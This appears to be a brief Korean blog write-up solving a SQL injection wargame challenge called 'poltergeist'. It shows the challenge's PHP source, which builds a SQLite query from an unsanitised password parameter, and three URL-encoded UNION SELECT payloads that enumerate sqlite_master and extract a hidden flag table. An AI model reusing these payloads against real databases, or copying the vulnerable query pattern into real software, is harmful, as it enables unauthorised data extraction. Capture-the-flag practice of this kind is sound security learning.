poltergeist-writeup

https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221399461332&proxyReferer=https%3A%2F%2Fwww.google.com%2F

[비박스] SQL injection - Stored (SQLite)

sqlite의 sql injection은 잘모르기 때문에 (이번 문제는 테이블 명도 알아야 해서 ㅠㅠ) 구글링을 했다!

위의 사이트 발견후 참조!

 

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

 

문제는 위와 같았는데 저 주석 처리 된 부분을 보면 member table에 flag는 없으니 삽질하지말라고 친절하게 ㅎ...

바로~ 구글링해서 얻은 정보로 injection 시도 후 테이블 명 발견!

 

?pw=%27%20union%20select%20tbl_name%20from%20sqlite_master%20--%20 

?pw=%27%20union%20select%20sql%20from%20sqlite_master%20where%20tbl_name=%27flag_70c81d99%27--%20

?pw=%27%20union%20select%20flag_0876285c%20from%20%27flag_70c81d99%27--%20

 

CLEAR!!! 이번 문제를 풀고 여러 종류의 SQL에 대해 공부해야겠다 생각이 들었다.